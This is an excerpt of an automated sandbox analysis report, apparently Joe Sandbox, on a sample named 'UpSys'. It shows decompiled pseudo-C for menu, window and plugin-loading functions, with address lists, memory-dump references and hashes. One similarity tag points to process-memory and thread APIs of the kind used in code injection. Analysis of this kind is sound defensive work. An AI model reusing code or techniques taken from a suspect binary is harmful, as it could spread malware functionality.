                                                                                                                                                                                                        0x1400629fc
                                                                                                                                                                                                        0x140062a05
                                                                                                                                                                                                        0x140062a0b
                                                                                                                                                                                                        0x140062a10
                                                                                                                                                                                                        0x140062a16
                                                                                                                                                                                                        0x140062a26
                                                                                                                                                                                                        0x140062a2d
                                                                                                                                                                                                        0x140062a39
                                                                                                                                                                                                        0x140062a3f
                                                                                                                                                                                                        0x140062a4f
                                                                                                                                                                                                        0x140062a54
                                                                                                                                                                                                        0x140062a6a
                                                                                                                                                                                                        0x140062a7e
                                                                                                                                                                                                        0x140062a88
                                                                                                                                                                                                        0x140062a8e
                                                                                                                                                                                                        0x140062a9e
                                                                                                                                                                                                        0x140062aa8
                                                                                                                                                                                                        0x140062aab
                                                                                                                                                                                                        0x140062ab7
                                                                                                                                                                                                        0x140062ab7
                                                                                                                                                                                                        0x140062abb
                                                                                                                                                                                                        0x140062ac3
                                                                                                                                                                                                        0x140062acd
                                                                                                                                                                                                        0x140062ad5
                                                                                                                                                                                                        0x140062ada
                                                                                                                                                                                                        0x140062aee
                                                                                                                                                                                                        0x140062af9
                                                                                                                                                                                                        0x140062afb
                                                                                                                                                                                                        0x140062b01
                                                                                                                                                                                                        0x140062b07
                                                                                                                                                                                                        0x140062b0d
                                                                                                                                                                                                        0x140062b11
                                                                                                                                                                                                        0x140062b15
                                                                                                                                                                                                        0x140062b19
                                                                                                                                                                                                        0x140062b1f
                                                                                                                                                                                                        0x140062b25
                                                                                                                                                                                                        0x140062b30
                                                                                                                                                                                                        0x140062b38
                                                                                                                                                                                                        0x140062b42
                                                                                                                                                                                                        0x140062b49
                                                                                                                                                                                                        0x140062b51
                                                                                                                                                                                                        0x140062b59
                                                                                                                                                                                                        0x140062b5e
                                                                                                                                                                                                        0x140062b61
                                                                                                                                                                                                        0x140062b6b
                                                                                                                                                                                                        0x140062b70
                                                                                                                                                                                                        0x140062b74
                                                                                                                                                                                                        0x140062b76
                                                                                                                                                                                                        0x140062b7d
                                                                                                                                                                                                        0x140062b81
                                                                                                                                                                                                        0x140062b86
                                                                                                                                                                                                        0x140062b8b
                                                                                                                                                                                                        0x140062b98
                                                                                                                                                                                                        0x140062ba5
                                                                                                                                                                                                        0x140062ba9
                                                                                                                                                                                                        0x140062bab
                                                                                                                                                                                                        0x140062baf
                                                                                                                                                                                                        0x140062bb1
                                                                                                                                                                                                        0x140062bc2
                                                                                                                                                                                                        0x140062bd3
                                                                                                                                                                                                        0x140062bf5

                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        Strings
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000023.00000002.492554690.0000000140001000.00000020.00000001.01000000.0000000D.sdmp, Offset: 0000000140000000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000023.00000002.492546840.0000000140000000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492686673.0000000140097000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492828026.00000001400AD000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492841318.00000001400AF000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492936860.00000001400B0000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493189958.00000001400C5000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493269375.00000001400C8000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493343367.00000001400CA000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_35_2_140000000_UpSys.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: ItemMenu$Info$Default
                                                                                                                                                                                                        • String ID: P
                                                                                                                                                                                                        • API String ID: 1306138088-3110715001
                                                                                                                                                                                                        • Opcode ID: e23d2b3a389fc4983d4c3be1092b5fa41b6d76e0113567ca6b492bcfbb466927
                                                                                                                                                                                                        • Instruction ID: 2675ad4d4bddf0d956f58ad32b4952fc86085072534228482711a949ca68fd6d
                                                                                                                                                                                                        • Opcode Fuzzy Hash: e23d2b3a389fc4983d4c3be1092b5fa41b6d76e0113567ca6b492bcfbb466927
                                                                                                                                                                                                        • Instruction Fuzzy Hash: E771DF3221498086EBB2DF26EC943EE6362F7883D4FA45516FB4E835F9DB39C9458700
                                                                                                                                                                                                        Uniqueness

                                                                                                                                                                                                        Uniqueness Score: -1.00%

                                                                                                                                                                                                        Function 00000001400434E0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 128windowCOMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        C-Code - Quality: 59%
                                                                                                                                                                                                        			E000000011400434E0(void* __ecx, void* __edx, void* __eflags, long long __rbx, intOrPtr* __rcx, long long __rdx, long long __rdi, long long __rsi, long long __rbp, intOrPtr* __r8, void* __r11) {
				void* _v24;
				char _v280;
				signed int _v304;
				intOrPtr _v308;
				char _v312;
				intOrPtr _v316;
				intOrPtr _v320;
				intOrPtr _v324;
				char _v328;
				void* _t57;
				char _t80;
				char _t81;
				void* _t82;
				intOrPtr _t86;
				void* _t97;
				void* _t108;
				long long _t134;
				void* _t141;
				struct HWND__* _t159;
				intOrPtr* _t160;
				int _t162;
				intOrPtr* _t163;
				struct HWND__* _t165;

				_t136 = __rsi;
				_t134 = __rdi;
				_t108 = _t141;
				 *((long long*)(_t108 + 8)) = __rbx;
				 *((long long*)(_t108 + 0x10)) = __rbp;
				 *((long long*)(_t108 + 0x18)) = __rsi;
				 *((long long*)(_t108 + 0x20)) = __rdi;
				_t160 = __rcx;
				_t163 = __r8;
				E00000001140013E70(_t57,  &_v280, __rdx, __r8);
				_v328 = __rdx;
				E00000001140041B30(0x10, __rbx,  &_v280, __rsi,  *__rcx, __rdx);
				r9d = 0x10;
				_t110 = _t108;
				E00000001140041A60(_t108,  &_v280,  &_v328, _t108, __r11);
				r8d = 0;
				SendMessageW(_t165, _t162);
				r9d = 0x10;
				E00000001140041A10( &_v280, _t108, __r11);
				_t80 = _v328;
				_t15 = _t134 - 0xe; // 0x2
				r8d = _t15;
				asm("cdq");
				_t16 = _t134 + 8; // 0x18
				r14d = _t16;
				_t86 = _v324 + (_v316 - _v324) / r8d;
				 *((intOrPtr*)(_t163 + 4)) = _t86;
				_v308 = _t86;
				E00000001140041B30(r14d, _t108,  &_v280, _t136,  *_t160, _t108);
				if (_t80 - _v320 > 0) goto 0x40043691;
				_t25 = _t165 - 0x17; // 0x1
				_t97 = _t25;
				r9d = r14d;
				_v312 = _t80;
				E00000001140041A60(_t108,  &_v280,  &_v312, _t108, __r11);
				r8d = 0;
				SendMessageW(_t159, ??, ??);
				r9d = r14d;
				E00000001140041A10( &_v280, _t108, __r11);
				if ((_v304 & 0x00000040) != 0) goto 0x40043607;
				_t81 = _t80 + _t97;
				if (_t81 - _v320 <= 0) goto 0x400435b5;
				if (_t81 - _v320 > 0) goto 0x40043691;
				r9d = r14d;
				_v312 = _t81;
				E00000001140041A60(_t108,  &_v280,  &_v312, _t108, __r11);
				r8d = 0;
				SendMessageW(??, ??, ??, ??);
				r9d = r14d;
				E00000001140041A10( &_v280, _t108, __r11);
				if ((_v304 & 0x00000040) == 0) goto 0x40043665;
				_t82 = _t81 + _t97;
				if (_t82 - _v320 <= 0) goto 0x40043613;
				if (_t82 - _v320 <= 0) goto 0x40043670;
				dil = 0;
				goto 0x40043682;
				asm("cdq");
				 *_t163 = (_t82 - _t81) / 2 + _t81;
				E00000001140013EA0((_t82 - _t81) / 2 + _t81, _t108,  &_v280);
				goto 0x4004369d;
				E00000001140013EA0(dil, _t110,  &_v280);
				return 0;
			}


























                                                                                                                                                                                                        0x1400434e0
                                                                                                                                                                                                        0x1400434e0
                                                                                                                                                                                                        0x1400434e0
                                                                                                                                                                                                        0x1400434e3
                                                                                                                                                                                                        0x1400434e7
                                                                                                                                                                                                        0x1400434eb
                                                                                                                                                                                                        0x1400434ef
                                                                                                                                                                                                        0x140043500
                                                                                                                                                                                                        0x140043508
                                                                                                                                                                                                        0x14004350e
                                                                                                                                                                                                        0x140043521
                                                                                                                                                                                                        0x140043528
                                                                                                                                                                                                        0x14004353a
                                                                                                                                                                                                        0x14004353d
                                                                                                                                                                                                        0x140043540
                                                                                                                                                                                                        0x14004354c
                                                                                                                                                                                                        0x140043554
                                                                                                                                                                                                        0x140043564
                                                                                                                                                                                                        0x14004356a
                                                                                                                                                                                                        0x140043577
                                                                                                                                                                                                        0x14004357d
                                                                                                                                                                                                        0x14004357d
                                                                                                                                                                                                        0x140043581
                                                                                                                                                                                                        0x140043582
                                                                                                                                                                                                        0x140043582
                                                                                                                                                                                                        0x140043590
                                                                                                                                                                                                        0x140043592
                                                                                                                                                                                                        0x140043596
                                                                                                                                                                                                        0x14004359f
                                                                                                                                                                                                        0x1400435ab
                                                                                                                                                                                                        0x1400435b1
                                                                                                                                                                                                        0x1400435b1
                                                                                                                                                                                                        0x1400435bf
                                                                                                                                                                                                        0x1400435c5
                                                                                                                                                                                                        0x1400435c9
                                                                                                                                                                                                        0x1400435d5
                                                                                                                                                                                                        0x1400435dd
                                                                                                                                                                                                        0x1400435ed
                                                                                                                                                                                                        0x1400435f3
                                                                                                                                                                                                        0x1400435fd
                                                                                                                                                                                                        0x1400435ff
                                                                                                                                                                                                        0x140043605
                                                                                                                                                                                                        0x14004360b
                                                                                                                                                                                                        0x14004361d
                                                                                                                                                                                                        0x140043623
                                                                                                                                                                                                        0x140043627
                                                                                                                                                                                                        0x140043633
                                                                                                                                                                                                        0x14004363b
                                                                                                                                                                                                        0x14004364b
                                                                                                                                                                                                        0x140043651
                                                                                                                                                                                                        0x14004365b
                                                                                                                                                                                                        0x14004365d
                                                                                                                                                                                                        0x140043663
                                                                                                                                                                                                        0x140043669
                                                                                                                                                                                                        0x14004366b
                                                                                                                                                                                                        0x14004366e
                                                                                                                                                                                                        0x140043679
                                                                                                                                                                                                        0x14004367e
                                                                                                                                                                                                        0x140043687
                                                                                                                                                                                                        0x14004368f
                                                                                                                                                                                                        0x140043696
                                                                                                                                                                                                        0x1400436be

                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        Strings
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000023.00000002.492554690.0000000140001000.00000020.00000001.01000000.0000000D.sdmp, Offset: 0000000140000000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000023.00000002.492546840.0000000140000000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492686673.0000000140097000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492828026.00000001400AD000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492841318.00000001400AF000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492936860.00000001400B0000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493189958.00000001400C5000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493269375.00000001400C8000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493343367.00000001400CA000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_35_2_140000000_UpSys.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: Process$MessageSend$Memory$AllocOpenReadThreadVirtualWindowWrite
                                                                                                                                                                                                        • String ID: @
                                                                                                                                                                                                        • API String ID: 4150878124-2766056989
                                                                                                                                                                                                        • Opcode ID: 7405b2a8ac3290aa743eeed8ad5178abca802c74f125b1caa1f6ccfd7bb9536a
                                                                                                                                                                                                        • Instruction ID: 0ff0bb4f0ca89e82e9e3d625179ef44f8cf27d9fc779c50bee05702e84de17d0
                                                                                                                                                                                                        • Opcode Fuzzy Hash: 7405b2a8ac3290aa743eeed8ad5178abca802c74f125b1caa1f6ccfd7bb9536a
                                                                                                                                                                                                        • Instruction Fuzzy Hash: 37519B7221469592DB21DF56E485BCEB760F3CCBD4F465026FB8A13BA9DB78C609CB00
                                                                                                                                                                                                        Uniqueness

                                                                                                                                                                                                        Uniqueness Score: -1.00%

                                                                                                                                                                                                        Function 0000000140070C20 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 99windowCOMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        C-Code - Quality: 81%
                                                                                                                                                                                                        			E00000001140070C20(void* __ebx, void* __ecx, void* __edx, void* __esi, void* __eflags, long long __rbx, void* __rcx, void* __rdx) {
				void* __rsi;
				void* __rbp;
				int _t34;
				void* _t70;
				intOrPtr* _t72;
				void* _t76;
				struct HMENU__* _t90;
				int _t92;
				signed long long** _t94;
				struct HMENU__* _t97;
				long long _t98;
				signed long long* _t100;
				void* _t102;
				void* _t103;

				_t70 = _t102;
				 *((long long*)(_t70 + 8)) = __rbx;
				_t103 = _t102 - 0x80;
				 *(_t70 + 0x18) =  *(_t70 + 0x18) | 0xffffffff;
				_t76 = __rcx;
				if (E000000011400418C0(__edx, __rcx, _t70 + 0x18) == 0) goto 0x40070d8f;
				if (__esi - 7 < 0) goto 0x40070d8f;
				if (__esi -  *((intOrPtr*)(__rcx + 0x1360)) > 0) goto 0x40070d8f;
				_t98 =  *((intOrPtr*)(__rcx + 0x328 +  *(_t103 + 0xb0) * 8));
				 *((long long*)(_t103 + 0x20)) = _t98;
				if ( *((char*)(_t98 + 8)) != 1) goto 0x40070d4f;
				_t12 = _t90 + 0x45; // 0x4c
				r8d = _t12;
				 *((intOrPtr*)(_t103 + 0x30)) = 0x50;
				E00000001140017520(_t30, __ecx, 0, _t103 + 0x34, __rdx, _t70 + 0x18);
				r8d = 0;
				 *((intOrPtr*)(_t103 + 0x34)) = 4;
				if (GetMenuItemInfoW(_t90, _t92) == 0) goto 0x40070d8f;
				if ( *((intOrPtr*)(__rcx + 0x1360)) - 7 < 0) goto 0x40070d4f;
				_t94 = __rcx + 0x360;
				_t72 =  *_t94;
				if (_t72 == 0) goto 0x40070d35;
				if ( *_t72 !=  *((intOrPtr*)(_t103 + 0x48))) goto 0x40070d35;
				if ( *((char*)(_t72 + 8)) != 1) goto 0x40070cf7;
				E00000001140070C20(__ebx, __ecx, 7, __esi,  *((char*)(_t72 + 8)) - 1, __rcx, __rcx, __rdx);
				goto 0x40070d35;
				r8d = 0;
				_t34 = DeleteMenu(_t97, ??);
				( *_t94)[1] = 0xff;
				 *( *_t94) =  *( *_t94) & 0x00000000;
				( *_t94)[1] = 0;
				E000000011400021B0(_t34,  &(( *_t94)[2]), __rdx, _t70 + 0x00000018 | 0xffffffff);
				E00000001140050F10(__ebx, 7,  *_t94, _t76, _t76, _t94);
				if (8 -  *((intOrPtr*)(_t76 + 0x1360)) <= 0) goto 0x40070cd8;
				_t100 =  *((intOrPtr*)(_t103 + 0x20));
				r8d = 0;
				if (DeleteMenu(??, ??, ??) == 0) goto 0x40070d8f;
				 *_t100 =  *_t100 & 0x00000000;
				_t100[1] = 0xff;
				_t100[1] = 0;
				E000000011400021B0(_t37,  &(_t100[2]), __rdx, _t70 + 0x00000018 | 0xffffffffffffffff);
				E00000001140050F10(__ebx,  *(_t103 + 0xb0),  *_t94, _t76, _t76,  &(_t94[1]));
				goto 0x40070d91;
				return 0;
			}

















                                                                                                                                                                                                        0x140070c20
                                                                                                                                                                                                        0x140070c23
                                                                                                                                                                                                        0x140070c2a
                                                                                                                                                                                                        0x140070c31
                                                                                                                                                                                                        0x140070c39
                                                                                                                                                                                                        0x140070c43
                                                                                                                                                                                                        0x140070c58
                                                                                                                                                                                                        0x140070c64
                                                                                                                                                                                                        0x140070c6a
                                                                                                                                                                                                        0x140070c72
                                                                                                                                                                                                        0x140070c7b
                                                                                                                                                                                                        0x140070c81
                                                                                                                                                                                                        0x140070c81
                                                                                                                                                                                                        0x140070c8c
                                                                                                                                                                                                        0x140070c94
                                                                                                                                                                                                        0x140070ca2
                                                                                                                                                                                                        0x140070ca7
                                                                                                                                                                                                        0x140070cb7
                                                                                                                                                                                                        0x140070cc8
                                                                                                                                                                                                        0x140070cce
                                                                                                                                                                                                        0x140070cd8
                                                                                                                                                                                                        0x140070cde
                                                                                                                                                                                                        0x140070ce3
                                                                                                                                                                                                        0x140070ceb
                                                                                                                                                                                                        0x140070cf0
                                                                                                                                                                                                        0x140070cf5
                                                                                                                                                                                                        0x140070cf7
                                                                                                                                                                                                        0x140070cfd
                                                                                                                                                                                                        0x140070d0a
                                                                                                                                                                                                        0x140070d14
                                                                                                                                                                                                        0x140070d1b
                                                                                                                                                                                                        0x140070d26
                                                                                                                                                                                                        0x140070d30
                                                                                                                                                                                                        0x140070d41
                                                                                                                                                                                                        0x140070d4a
                                                                                                                                                                                                        0x140070d53
                                                                                                                                                                                                        0x140070d60
                                                                                                                                                                                                        0x140070d62
                                                                                                                                                                                                        0x140070d71
                                                                                                                                                                                                        0x140070d75
                                                                                                                                                                                                        0x140070d79
                                                                                                                                                                                                        0x140070d83
                                                                                                                                                                                                        0x140070d8d
                                                                                                                                                                                                        0x140070da3

                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        Strings
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000023.00000002.492554690.0000000140001000.00000020.00000001.01000000.0000000D.sdmp, Offset: 0000000140000000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000023.00000002.492546840.0000000140000000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492686673.0000000140097000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492828026.00000001400AD000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492841318.00000001400AF000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492936860.00000001400B0000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493189958.00000001400C5000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493269375.00000001400C8000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493343367.00000001400CA000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_35_2_140000000_UpSys.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: Menu$Delete$InfoItem
                                                                                                                                                                                                        • String ID: P
                                                                                                                                                                                                        • API String ID: 135850232-3110715001
                                                                                                                                                                                                        • Opcode ID: 128eba9155c60678caabfe2f989a2e1cf86e96e02cd2c67c62fd0dfbfb54bf84
                                                                                                                                                                                                        • Instruction ID: 4d5d84b043b467f8870dad2647a6a863cb59dbac14111d1240ab13fb6deb723b
                                                                                                                                                                                                        • Opcode Fuzzy Hash: 128eba9155c60678caabfe2f989a2e1cf86e96e02cd2c67c62fd0dfbfb54bf84
                                                                                                                                                                                                        • Instruction Fuzzy Hash: 2F418032600A80DAE7629F6AD4003DD67A1E789BE4F148321BBA9477E5CF38D841C751
                                                                                                                                                                                                        Uniqueness

                                                                                                                                                                                                        Uniqueness Score: -1.00%

                                                                                                                                                                                                        Function 000000014005F780 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 93windowCOMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        C-Code - Quality: 28%
                                                                                                                                                                                                        			E0000000114005F780(void* __esp, long long __rbx, void* __rdx, long long __rdi, long long __rsi, long long __rbp, long long* __r8, void* __r11, intOrPtr _a40, intOrPtr _a48, char _a56, intOrPtr _a64, intOrPtr _a72, intOrPtr _a80, intOrPtr _a88) {
				void* _v24;
				char _v40;
				intOrPtr _v44;
				struct HWND__* _v48;
				void* _v56;
				char _v72;
				struct HWND__* _v80;
				char _v88;
				intOrPtr _v96;
				intOrPtr _v104;
				intOrPtr _v112;
				intOrPtr _v120;
				intOrPtr _v128;
				struct HWND__* _v136;
				intOrPtr _t35;
				char _t46;
				intOrPtr _t55;
				void* _t64;
				long long _t65;
				long long* _t81;
				long long _t85;
				void* _t92;
				struct HWND__* _t94;
				int _t96;
				struct HWND__* _t98;

				_t92 = __r11;
				_t88 = __r8;
				_t66 = __rbx;
				_t65 = _t85;
				 *((long long*)(_t65 + 8)) = __rbx;
				 *((long long*)(_t65 + 0x10)) = __rbp;
				 *((long long*)(_t65 + 0x18)) = __rsi;
				 *((long long*)(_t65 + 0x20)) = __rdi;
				r14d = 0;
				_t50 =  ==  ? r14d : _a80;
				_t81 = __r8;
				asm("bts edx, 0x10");
				_t35 = E00000001140056C20( ==  ? r14d : _a80, _a80 - 0xffffffff, __rbx);
				r8d = _a88;
				r12d = _a72;
				r13d = _a48;
				_v72 = 1;
				_v80 = _t98;
				_v88 = r9d;
				_t46 = _a56;
				r8d =  ==  ? 0x200 : r8d;
				_t55 =  ==  ? r14d : _a64;
				r12d =  ==  ? r14d : r12d;
				_v96 = r12d;
				_v104 = _t55;
				_v112 = _t46;
				_v120 = r13d;
				_v128 = _t35;
				_v136 = _t98;
				E0000000114003D230(r12d - 0xffffffff, _t66, __rdx, L"SysMonthCal32");
				 *_t81 = _t65;
				if (_t65 != _t98) goto 0x4005f85a;
				goto 0x4005f8f1;
				if (_t55 == r14d) goto 0x4005f864;
				if (r12d != r14d) goto 0x4005f8a3;
				r8d = 0;
				SendMessageW(_t98, _t96);
				_v120 = 4;
				_v128 = _v44;
				r9d = _t46;
				r8d = r13d;
				_v136 = _v48;
				SetWindowPos(_t94, ??, ??, ??, ??, ??);
				r9d = 1;
				r8b = r9b;
				E0000000114003FBB0(0x200, __esp, _t65, _t66, _a40,  &_v40, _t81, __rbp, _t88, _t92);
				r8d = 0;
				SendMessageW(??, ??, ??, ??);
				_t64 =  *0x400c6a08 - r14d; // 0x0
				if (_t64 != 0) goto 0x4005f8ef;
				 *((short*)(_t81 + 0xea)) = 0x300;
				return 1;
			}




























                                                                                                                                                                                                        0x14005f780
                                                                                                                                                                                                        0x14005f780
                                                                                                                                                                                                        0x14005f780
                                                                                                                                                                                                        0x14005f780
                                                                                                                                                                                                        0x14005f783
                                                                                                                                                                                                        0x14005f787
                                                                                                                                                                                                        0x14005f78b
                                                                                                                                                                                                        0x14005f78f
                                                                                                                                                                                                        0x14005f7aa
                                                                                                                                                                                                        0x14005f7ba
                                                                                                                                                                                                        0x14005f7be
                                                                                                                                                                                                        0x14005f7c1
                                                                                                                                                                                                        0x14005f7c5
                                                                                                                                                                                                        0x14005f7ca
                                                                                                                                                                                                        0x14005f7d9
                                                                                                                                                                                                        0x14005f7e1
                                                                                                                                                                                                        0x14005f7e9
                                                                                                                                                                                                        0x14005f7ee
                                                                                                                                                                                                        0x14005f7f3
                                                                                                                                                                                                        0x14005f7f7
                                                                                                                                                                                                        0x14005f80e
                                                                                                                                                                                                        0x14005f81c
                                                                                                                                                                                                        0x14005f827
                                                                                                                                                                                                        0x14005f82b
                                                                                                                                                                                                        0x14005f830
                                                                                                                                                                                                        0x14005f834
                                                                                                                                                                                                        0x14005f838
                                                                                                                                                                                                        0x14005f83d
                                                                                                                                                                                                        0x14005f841
                                                                                                                                                                                                        0x14005f846
                                                                                                                                                                                                        0x14005f84b
                                                                                                                                                                                                        0x14005f851
                                                                                                                                                                                                        0x14005f855
                                                                                                                                                                                                        0x14005f85d
                                                                                                                                                                                                        0x14005f862
                                                                                                                                                                                                        0x14005f869
                                                                                                                                                                                                        0x14005f874
                                                                                                                                                                                                        0x14005f881
                                                                                                                                                                                                        0x14005f889
                                                                                                                                                                                                        0x14005f891
                                                                                                                                                                                                        0x14005f894
                                                                                                                                                                                                        0x14005f899
                                                                                                                                                                                                        0x14005f89d
                                                                                                                                                                                                        0x14005f8ab
                                                                                                                                                                                                        0x14005f8b9
                                                                                                                                                                                                        0x14005f8bc
                                                                                                                                                                                                        0x14005f8cc
                                                                                                                                                                                                        0x14005f8d4
                                                                                                                                                                                                        0x14005f8da
                                                                                                                                                                                                        0x14005f8e1
                                                                                                                                                                                                        0x14005f8e8
                                                                                                                                                                                                        0x14005f912

                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        Strings
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000023.00000002.492554690.0000000140001000.00000020.00000001.01000000.0000000D.sdmp, Offset: 0000000140000000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000023.00000002.492546840.0000000140000000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492686673.0000000140097000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492828026.00000001400AD000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492841318.00000001400AF000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492936860.00000001400B0000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493189958.00000001400C5000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493269375.00000001400C8000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493343367.00000001400CA000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_35_2_140000000_UpSys.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: MessageSendWindow$CreateObjectShowStock
                                                                                                                                                                                                        • String ID: SysMonthCal32
                                                                                                                                                                                                        • API String ID: 3887885108-1439706946
                                                                                                                                                                                                        • Opcode ID: 9ee09e88478aaa5cdd1bb46135e60a2aac883e10c7c6ec7f3a1dc01c2d24b7f9
                                                                                                                                                                                                        • Instruction ID: f1110a34f67aa8779e1660fa31851e17d5a3e4c4cd51d08bd53fc3a0d138f83b
                                                                                                                                                                                                        • Opcode Fuzzy Hash: 9ee09e88478aaa5cdd1bb46135e60a2aac883e10c7c6ec7f3a1dc01c2d24b7f9
                                                                                                                                                                                                        • Instruction Fuzzy Hash: B6415E362147C086D731DF26E444BAAB7A5F38C7D4F504215EB9A53BA4DB79C481CF40
                                                                                                                                                                                                        Uniqueness

                                                                                                                                                                                                        Uniqueness Score: -1.00%

                                                                                                                                                                                                        Function 0000000140042450 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 89libraryloaderCOMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        Strings
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000023.00000002.492554690.0000000140001000.00000020.00000001.01000000.0000000D.sdmp, Offset: 0000000140000000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000023.00000002.492546840.0000000140000000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492686673.0000000140097000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492828026.00000001400AD000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492841318.00000001400AF000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492936860.00000001400B0000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493189958.00000001400C5000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493269375.00000001400C8000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493343367.00000001400CA000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_35_2_140000000_UpSys.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: Library$AddressFreeLoadProc
                                                                                                                                                                                                        • String ID: AU3_GetPluginDetails
                                                                                                                                                                                                        • API String ID: 145871493-4132174516
                                                                                                                                                                                                        • Opcode ID: 7a1c2273bacde843cb6acb6099ee4eb04e31bc4d8f9243323c51a472e3634e98
                                                                                                                                                                                                        • Instruction ID: 3e2dfa3afbe57846d290e5ac1afd32ed58f63fd4f83b41640c0fe47c852d102c
                                                                                                                                                                                                        • Opcode Fuzzy Hash: 7a1c2273bacde843cb6acb6099ee4eb04e31bc4d8f9243323c51a472e3634e98
                                                                                                                                                                                                        • Instruction Fuzzy Hash: 7841CF36315E4882DB16CF1AE4903ADA360F388FD4F558526AB9E87B60DF78D5A1C704
                                                                                                                                                                                                        Uniqueness

